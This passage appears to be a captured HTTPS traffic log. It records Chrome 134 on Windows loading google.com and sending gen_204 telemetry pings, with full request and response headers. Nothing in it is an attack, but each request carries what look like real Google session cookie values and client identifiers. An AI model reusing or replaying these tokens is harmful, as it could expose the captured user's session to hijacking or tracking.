92374d72996b4345-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=101402&min_rtt=100677&rtt_var=21986&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2825&recv_bytes=1715&delivery_rate=36996&cwnd=245&unsent_bytes=0&cid=09d58984a666a8c5&ts=557&x=0"
2025-03-20 18:34:15 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2025-03-20 18:34:14 UTC	2198	OUT	GET /async/hpba?yv=3&cs=0&ei=pF_cZ7LvOfKGptQP2o684AU&async=_basejs:/xjs/_/js/k%3Dxjs.hd.en.VHBQ7i1oX2g.es5.O/am%3DAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAARAAAAAAAIAAAAAgAAAgAAAMAIAAgEAAABAAAAMAEAAAAYAAAAAAAAAgAAIADAo4wCAAIkAAAAAAAAAHABAAgQAAgAAAAAAAAAAAIAAAAAAAACAAAAAAAAFAAAAAAAEAAAAAAAQAAACEAAAAAAAAAAAAAAAAAAgB4AAAAAAAAAAAAAIAAAADAYYQAEAAAAAAAAegAIHmBIQQEAAAAAAAAAAAAAgAAJgrmQQEAAAQAAAAAAAAAAAAAAAABKmlho/dg%3D0/br%3D1/rs%3DACT90oFI843KH_skkA3LMEIA-jaywe7UZQ,_basecss:/xjs/_/ss/k%3Dxjs.hd.3UF5emn0zs8.L.B1.O/am%3DCFEAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAARkJwAAAIAgADsAAgAAAgABAAAAAAEEAAAABEAAICEAAAYQAAAgAABgAgASAAgAAAACUxoAAAEAGAAAHAABIAEAACgAAACQAAAAAAAAAAIAAAACAAEw0BAQFUApABAAIAAIBAAABAAAGAKAEAAAOgAQgAEAhAAAgB4QCAAAAAAAAAIAAAAsADAYYQAEAAAAAAAASAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAQAEAAAAAAAAAAAAAAAAAAAAC/br%3D1/rs%3DACT90oFzVuhg8QPjSVAuF9eHRNKrML12nw,_basecomb:/xjs/_/js/k%3Dxjs.hd.en.VHBQ7i1oX2g.es5.O/ck%3Dxjs.hd.3UF5emn0zs8.L.B1.O/am%3DCFEAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAR1JwAAAIAoA [TRUNCATED] Host: www.google.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIk6HLAQiJo8sBCIWgzQE= Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: AEC=AVcja2cxC2_H9tsrJHQLIEVTFMjGe-UPeb5rTyeXnohjILfqsKGeIUv2tQ; NID=522=cqSS1og3GSiV3U_LmiczQaoYNteUc4LJjd4Omtvb55c4_viAwlcokgAD3YyWLP9Cj6WDBpbeGrWhzoyaRk8urP6Y-pbKaibLOqCNisNQiMHA8bRNQ5FVgwoZKCTtvJV0rj6_tXM_QCJeGs6wGNKTvYjraX5Wk0ADQ4l2ZoSXhGYhz4Zepz9wvMhlgT-WfRQrW_gjIX5ALk8MOzN77WY
2025-03-20 18:34:14 UTC	1094	IN	HTTP/1.1 200 OK Version: 737894419 X-Content-Type-Options: nosniff Content-Type: text/plain; charset=UTF-8 Content-Disposition: attachment; filename="f.txt" Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Downlink Accept-CH: RTT Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Document-Policy: expect-no-linked-resources Date: Thu, 20 Mar 2025 18:34:14 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2025-03-20 18:34:14 UTC	48	IN	Data Raw: 32 61 0d 0a 29 5d 7d 27 0a 32 32 3b 5b 22 70 6c 5f 63 5a 39 4c 64 4c 35 53 73 35 4e 6f 50 6e 59 7a 44 36 41 55 22 2c 22 32 31 38 38 22 5d 0d 0a Data Ascii: 2a)]}'22;["pl_cZ9LdL5Ss5NoPnYzD6AU","2188"]
2025-03-20 18:34:14 UTC	50	IN	Data Raw: 32 63 0d 0a 63 3b 5b 32 2c 6e 75 6c 6c 2c 22 30 22 5d 31 62 3b 3c 64 69 76 20 6a 73 6e 61 6d 65 3d 22 4e 6c 6c 30 6e 65 22 3e 3c 2f 64 69 76 3e 0d 0a Data Ascii: 2cc;[2,null,"0"]1b;<div jsname="Nll0ne"></div>
2025-03-20 18:34:14 UTC	22	IN	Data Raw: 31 30 0d 0a 63 3b 5b 39 2c 6e 75 6c 6c 2c 22 30 22 5d 30 3b 0d 0a Data Ascii: 10c;[9,null,"0"]0;
2025-03-20 18:34:14 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2025-03-20 18:34:14 UTC	1595	OUT	POST /gen_204?s=webhp&t=cap&atyp=csi&ei=pF_cZ7LvOfKGptQP2o684AU&rt=wsrt.1122,hst.40,prt.592,cbt.881&ddl=1&imn=11&dtc=144&stc=25&ima=1&imad=0&imac=1&wh=897&opi=89978449&nt=navigate&dt=&ts=200698&ant=replace HTTP/1.1 Host: www.google.com Connection: keep-alive Content-Length: 0 sec-ch-ua-full-version-list: "Chromium";v="134.0.6998.36", "Not:A-Brand";v="24.0.0.0", "Google Chrome";v="134.0.6998.36" sec-ch-ua-platform: "Windows" sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-bitness: "64" sec-ch-ua-model: "" sec-ch-ua-mobile: ?0 sec-ch-ua-form-factors: "Desktop" sec-ch-ua-wow64: ?0 sec-ch-ua-arch: "x86" sec-ch-ua-full-version: "134.0.6998.36" Content-Type: text/plain;charset=UTF-8 downlink: 0.4 sec-ch-prefers-color-scheme: light User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 rtt: 300 sec-ch-ua-platform-version: "10.0.0" Accept: / Origin: https://www.google.com X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIk6HLAQiJo8sBCIWgzQEI9s/OAQiB1s4BCNLgzgEIr+TOAQji5M4BCIvlzgE= Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://www.google.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: AEC=AVcja2cxC2_H9tsrJHQLIEVTFMjGe-UPeb5rTyeXnohjILfqsKGeIUv2tQ; NID=522=cqSS1og3GSiV3U_LmiczQaoYNteUc4LJjd4Omtvb55c4_viAwlcokgAD3YyWLP9Cj6WDBpbeGrWhzoyaRk8urP6Y-pbKaibLOqCNisNQiMHA8bRNQ5FVgwoZKCTtvJV0rj6_tXM_QCJeGs6wGNKTvYjraX5Wk0ADQ4l2ZoSXhGYhz4Zepz9wvMhlgT-WfRQrW_gjIX5ALk8MOzN77WY
2025-03-20 18:34:15 UTC	715	IN	HTTP/1.1 204 No Content Content-Type: text/html; charset=UTF-8 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-IKeE_TzPEic_X2GY-ZzXYw' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/other Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/other"}]} Permissions-Policy: unload=() Date: Thu, 20 Mar 2025 18:34:14 GMT Server: gws Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Timestamp	Bytes transferred	Direction	Data
2025-03-20 18:34:15 UTC	1570	OUT	GET /gen_204?s=async&astyp=hpba&atyp=csi&ei=pl_cZ96RDcDdptQPtbzxsQM&rt=ipf.1,ipfr.666,ttfb.666,st.666,acrt.668,ipfrl.668,aaft.668,art.668,ns.-1688&ns=1742495651266&twt=1.2000000000116415&mwt=1.2000000000116415 HTTP/1.1 Host: www.google.com Connection: keep-alive downlink: 1.15 sec-ch-ua-full-version-list: "Chromium";v="134.0.6998.36", "Not:A-Brand";v="24.0.0.0", "Google Chrome";v="134.0.6998.36" sec-ch-ua-platform: "Windows" sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-bitness: "64" sec-ch-ua-model: "" sec-ch-ua-mobile: ?0 sec-ch-ua-form-factors: "Desktop" sec-ch-ua-wow64: ?0 sec-ch-ua-arch: "x86" sec-ch-ua-full-version: "134.0.6998.36" sec-ch-prefers-color-scheme: light User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 rtt: 300 sec-ch-ua-platform-version: "10.0.0" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIk6HLAQiJo8sBCIWgzQEI9s/OAQiB1s4BCNLgzgEIr+TOAQji5M4BCIvlzgE= Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.google.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: AEC=AVcja2cxC2_H9tsrJHQLIEVTFMjGe-UPeb5rTyeXnohjILfqsKGeIUv2tQ; NID=522=cqSS1og3GSiV3U_LmiczQaoYNteUc4LJjd4Omtvb55c4_viAwlcokgAD3YyWLP9Cj6WDBpbeGrWhzoyaRk8urP6Y-pbKaibLOqCNisNQiMHA8bRNQ5FVgwoZKCTtvJV0rj6_tXM_QCJeGs6wGNKTvYjraX5Wk0ADQ4l2ZoSXhGYhz4Zepz9wvMhlgT-WfRQrW_gjIX5ALk8MOzN77WY
2025-03-20 18:34:15 UTC	715	IN	HTTP/1.1 204 No Content Content-Type: text/html; charset=UTF-8 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-4_qYn5TgH4oXuev1m5TrmA' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/other Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/other"}]} Permissions-Policy: unload=() Date: Thu, 20 Mar 2025 18:34:15 GMT Server: gws Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Timestamp	Bytes transferred	Direction	Data
2025-03-20 18:34:15 UTC	1615	OUT	POST /gen_204?s=webhp&t=aft&atyp=csi&ei=pF_cZ7LvOfKGptQP2o684AU&rt=wsrt.1122,hst.40,prt.592,cbt.881,afti.1512,aft.1512&ddl=1&imn=11&dtc=144&stc=25&ima=1&imad=0&imac=1&wh=897&opi=89978449&nt=navigate&dt=&ts=200698&ant=replace HTTP/1.1 Host: www.google.com Connection: keep-alive Content-Length: 0 sec-ch-ua-full-version-list: "Chromium";v="134.0.6998.36", "Not:A-Brand";v="24.0.0.0", "Google Chrome";v="134.0.6998.36" sec-ch-ua-platform: "Windows" sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-bitness: "64" sec-ch-ua-model: "" sec-ch-ua-mobile: ?0 sec-ch-ua-form-factors: "Desktop" sec-ch-ua-wow64: ?0 sec-ch-ua-arch: "x86" sec-ch-ua-full-version: "134.0.6998.36" Content-Type: text/plain;charset=UTF-8 downlink: 1.15 sec-ch-prefers-color-scheme: light User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 rtt: 300 sec-ch-ua-platform-version: "10.0.0" Accept: / Origin: https://www.google.com X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIk6HLAQiJo8sBCIWgzQEI9s/OAQiB1s4BCNLgzgEIr+TOAQji5M4BCIvlzgE= Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://www.google.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: AEC=AVcja2cxC2_H9tsrJHQLIEVTFMjGe-UPeb5rTyeXnohjILfqsKGeIUv2tQ; NID=522=cqSS1og3GSiV3U_LmiczQaoYNteUc4LJjd4Omtvb55c4_viAwlcokgAD3YyWLP9Cj6WDBpbeGrWhzoyaRk8urP6Y-pbKaibLOqCNisNQiMHA8bRNQ5FVgwoZKCTtvJV0rj6_tXM_QCJeGs6wGNKTvYjraX5Wk0ADQ4l2ZoSXhGYhz4Zepz9wvMhlgT-WfRQrW_gjIX5ALk8MOzN77WY
2025-03-20 18:34:15 UTC	715	IN	HTTP/1.1 204 No Content Content-Type: text/html; charset=UTF-8 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-VT0ybb41gtyGwBR9P4kOVQ' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/other Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/other"}]} Permissions-Policy: unload=() Date: Thu, 20 Mar 2025 18:34:15 GMT Server: gws Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Timestamp	Bytes transferred	Direction	Data
2025-03-20 18:34:15 UTC	1965	OUT	POST /gen_204?atyp=csi&ei=pF_cZ7LvOfKGptQP2o684AU&s=webhp&t=all&ddl=1&imn=11&dtc=144&stc=25&ima=1&imad=0&imac=1&wh=897&adh=&cls=0.000047472695443143816&ime=1&imex=1&imeh=0&imeha=0&imehb=0&imea=0&imeb=0&imel=0&imed=0&imeeb=0&scp=0&cb=200398&ucb=200398&ts=200698&dt=&mem=ujhs.9,tjhs.12,jhsl.2248,dm.8&nv=ne.1,feid.1823e44a-0401-4f7a-8863-42bacfe2c6a9&net=dl.1450,ect.3g,rtt.300,sd.0&hp=&sys=hc.4&p=bs.true&rt=hst.40,prt.592,cbt.881,afti.1512,aft.1512,xjses.1789,xjsee.1837,xjs.1837,lcp.1538,fcp.570,wsrt.1122,cst.210,dnst.0,rqst.699,rspt.399,sslt.209,rqstt.822,unt.610,cstt.612,dit.1725&zx=1742495654231&opi=89978449 HTTP/1.1 Host: www.google.com Connection: keep-alive Content-Length: 0 downlink: 1.45 sec-ch-ua-full-version-list: "Chromium";v="134.0.6998.36", "Not:A-Brand";v="24.0.0.0", "Google Chrome";v="134.0.6998.36" sec-ch-ua-platform: "Windows" sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-bitness: "64" sec-ch-ua-model: "" sec-ch-ua-mobile: ?0 sec-ch-ua-form-factors: "Desktop" sec-ch-ua-wow64: ?0 sec-ch-ua-arch: "x86" sec-ch-ua-full-version: "134.0.6998.36" sec-ch-prefers-color-scheme: light User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 rtt: 300 sec-ch-ua-platform-version: "10.0.0" Accept: / Origin: https://www.google.com X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIk6HLAQiJo8sBCIWgzQEI9s/OAQiB1s4BCNLgzgEIr+TOAQji5M4BCIvlzgE= Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://www.google.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: AEC=AVcja2cxC2_H9tsrJHQLIEVTFMjGe-UPeb5rTyeXnohjILfqsKGeIUv2tQ; NID=522=cqSS1og3GSiV3U_LmiczQaoYNteUc4LJjd4Omtvb55c4_viAwlcokgAD3YyWLP9Cj6WDBpbeGrWhzoyaRk8urP6Y-pbKaibLOqCNisNQiMHA8bRNQ5FVgwoZKCTtvJV0rj6_tXM_QCJeGs6wGNKTvYjraX5Wk0ADQ4l2ZoSXhGYhz4Zepz9wvMhlgT-WfRQrW_gjIX5ALk8MOzN77WY
2025-03-20 18:34:15 UTC	715	IN	HTTP/1.1 204 No Content Content-Type: text/html; charset=UTF-8 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-7mmpOENzD5YhACfTZ3j7_w' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/other Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/other"}]} Permissions-Policy: unload=() Date: Thu, 20 Mar 2025 18:34:15 GMT Server: gws Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close